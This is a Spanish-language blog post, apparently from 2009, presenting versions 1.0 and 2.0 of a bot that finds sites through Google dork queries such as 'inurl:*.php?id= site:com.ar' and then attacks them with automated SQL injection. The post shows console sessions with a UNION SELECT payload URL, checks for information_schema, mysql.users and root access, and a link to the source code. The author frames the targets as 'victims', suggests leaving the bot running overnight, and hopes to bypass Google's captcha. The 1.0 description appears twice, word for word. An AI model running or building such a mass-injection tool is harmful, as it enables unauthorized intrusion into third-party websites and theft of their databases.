Aunque ya lo había terminado hace un tiempito voy a publicarlo recién por falta de tiempo. Hay algunas mejoras que coloque una de ellas es el filtrado de paginas que son posiblmente inyectables. Es decir que por ejemplo en una busqueda del tipo inurl:*.php?id=, con una cantidad de 10 paginas (o mas o menos es solo un ejemplo), seguramente en la misma búsqueda se van a repetir las mismas paginas por lo cual el BOT en la V. 1.0 no contemplaba esto y redundaba.
Otra característica muy importante es que ahora ya no necesita tanta coparticipación humana, solamente le pasamos los parámetros nesesarios, y empezara la automatizacion que contempla la búsqueda, la obtención de las posibles victimas, y el ataque por SQLi, (osea que podemos dejarlo en la noche y ver los resultados en el otro día) :). En este ataque intentara lo mismo que la versión anterior
1. Sacar columnas mediante la clausula UNION
2. Verificar disponibilidad de Information_schema
3. Verificar disponibilidad de Mysq.Users
4. Verificar si el usuario de la base de datos es r00t. :)
Después por ultimo todo lo recolectado lo guardara en un archivo que nosotros le diremos el nombre para que lo guarde en el misma ruta de donde es ejecutado el script, asi lov eremos despues con mayor tranquilidad.
Ejmplo de uso.
+++++++++++++++++++++++++++++++++++++
+ Bot MySQL Search Google 2.0 +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++++++++
[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: >> inrul:noticias.php?id= site:com.ar
[?]Total de paginas de busquedas en Google: >> 15
[?]Nombre de archivo donde guardar todo: >>paginas_argentinas.txt
[+]Search:
Fijense los parametros que le paso. En primer lugar esta la busqueda inrul:noticias.php?id= site:com.ar
, en segundo lugar esta la cantidad 15, y como tercer y ultimo esta el archivo de salida donde se almacenara todo paginas_argentinas.txt.
Despues solo resta ver el archivo donde mostrata una lista con las que no pudo y las que pudo inyectar SQL, en donde en esta ultimas mostrara el detalle.
Aca esta el codigo s0urce
Tengo pensado seguir agregandole mas funciones y mas tipos de inyecciones. Ya tengo preparado para que la busqueda sea atravez del BING. Asi que esa seria una mejoria para la proxima. Si alguien tiene alguna idea o algun arreglo o parte de codigo con mucho gusto sera recibido..
Saludos..
Mostrando entradas con la etiqueta Tool. Mostrar todas las entradas
Mostrando entradas con la etiqueta Tool. Mostrar todas las entradas
domingo, 18 de octubre de 2009
domingo, 20 de septiembre de 2009
Bot MySQL Search Google 1.0 && 2.0
Bueno hace un mes anduve codeando una tools que lo que haga es automatizar algunas de las tantas cosas que uno hace cuando busca un SQLi.
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.
1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar
Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros
+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++
[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10
[+]Search:
Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto
[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23
[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>
Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.
Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:
[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--
Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto
[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--
[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>
Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *
Bueno en La proxima colocare la version 2.0
Aca esta el codigo http://paste2.org/p/433646
Saludos
Asi que tengo dos versiones de esta tools la 1.0 y la 2.0. Bien digamos que la diferencia que hay entre las dos es que la 1.0 nesesita algo de participacion humana, pero le voy a comentar mejor como se usa, las diferencias y de que se trata.
1.0) En esta version lo que hace es primero que nada te pide dos variables:
Parametro 1)patron de busqueda para google, lo que vamos a usar son las API que nos ofrece google para hacer busquedas mas avanzadas de las normales (Recomiendo http://johnny.ihackstuff.com/ghdb/). Por ejemplo un patron que utilizamos muchos seria este: inurl:*..php?id=, que es lo que hacemos con esta busqueda? Pues decimos a google que nos encuentre todas las direeciones que tengan en la URL algo con noticia.php?id=4545, mirar.php?id=454, sadasda.php?id=1 ....... En todo lo que sigan ese patron. Pues con esas paginas despues el BOT lo que va hacer es testear si algunas de esas es posivlemente vulnerable. Tambien pudieramos filtrar un poco la busqueda, es decir por ejemplo buscar solo paginas con la terminacion com.ar. De esta forma: inurl:*.php?id= site:com.ar
Parametro 2) Numero de cantidad de paginas de Google. que puede ser unas 10, 20, 30 60 etc.. Hay que acordarse que cuando el BOT de google sospecha de algun comportamiento sospechoso pedira un captcha, y en este caso el BOT no podra seguir consiguiendo enlaces.. Despues se vera como Bypasser eso :)..Si alguien tiene alguna Idea...
Entonces la pantalla principal seria algo asi con sus dos parametros
+++++++++++++++++++++++++++++++
+ Bot MySQL Search Google +
+ By MagnoBalt +
+++++++++++++++++++++++++++++++
[?]Ingrese Parametro de Busqueda (ej: inurl:.php?id_noticia=: >> inurl:*.php?id=
site:com.ar
[?]Total de paginas de busquedas en Google: >> 10
[+]Search:
Y en este moemnto empieza la busqueda.. Solo habra que esperar hasta que arroje los resultados.. Tendriamos algo parecido a esto
[0]http://pagina0.com.ar/ficha.php?id=291
[1]http://www.pagina1.com.ar/acti_nota.php?id=912
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536
[3]http://www.pagina3.com.ar/acti_nota.php?id=894
[4]http://www.pagina2.com.ar/edimpresa/nota.php?id=207214
[5]http://www.pagina4.com.ar/nota_completa.php?id=3917
[6]http://www.pagina5.com.ar/articulo.php?recurso=601
[7]http://pagina5.com.ar/seccion.php?id=76
[8]http://www.pagina7.com.ar/viewtopic.php?id=23
[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>
Una vez tenido la lista podemos empezar la automatizacion seleccionando por el indice la que queremos testear. Por ejemplo si quisieramos probar con www.pagina2.com.ar (No colocare la pagina verdadera solo nombres fictisios) colocariamos su indice que en este caso es 2
Note que hay paginas que estan repetidas, pues una de esas es la mejora del BOT 2.0, coloque una funcion para filtrar las que ya tenia como posibles vulnerables.
Ahora al colocar en este caso 2 nos pedira 2 parametros que nesesitamos para que empieze el testeo. quedaria algo asi:
[?]A cual desea automatizar la inyeccion. Eliga por el indice:>>2
[+]Empezando la automatizacion del la inyeccion.
[!]Primer Paso: Intentar sacar numero de columnas para UNION
[?]Maximo numero con cual intentar:>>20
[?]elija comentario -- or /* :>>--
Osea lo que hice es pasarle un numero 20, que es una cota maximo de intentos para buscar las culumnas que nesesita la clausula UNION, y el segundo fue que comentario utilizar que en este caso coloque --
Entonces tenemos algo como esto
[+]Search:
[+]La web posee 10
[+]http://pagina2.com.ar/ficha.php?id=-1+UNION+SELECT+0,1,2,3,4,5,6
,7,8,9--
[!]Segundo Paso: Verficando disponibilidad de Information_Schema
[+]Information Schema Disponible
[!]Tercer Paso: Verificando disponibilidad de de Mysql.users
[-]Mysql.users no Disponible
[!]Cuarto Paso: Verificando si el usuario es root
[-]El usuario no es root
[?]Desea Seguir con otro enlace Y/N: >>
Los pasos son encontrar la cantidad de columnas despues verificar si esta disponicle Information_Schema blablablabla.. bueno ahi se ve todo lo que hace no?? Nos pregunta si queremos seguir si colocamos Y podremos seguir inyectando otra y a la que ya hayamos inyectado nos colocara al final del link un *, osea que va hacer tantos * al lado de un enlace como tantas veces hayamos testeado el enlace. Ejemplo si llegasemos a no encontrar columnas a una con una cota superior por ejemplo podriamos intentar con una cota mas grande en este caso al listar por segunda vez despues de haber intentado la anterior en el enlace quedaria
[2]http://www.pagina2.com.ar/nota_completa.php?id=1536 *
Bueno en La proxima colocare la version 2.0
Aca esta el codigo http://paste2.org/p/433646
Saludos
Suscribirse a:
Entradas (Atom)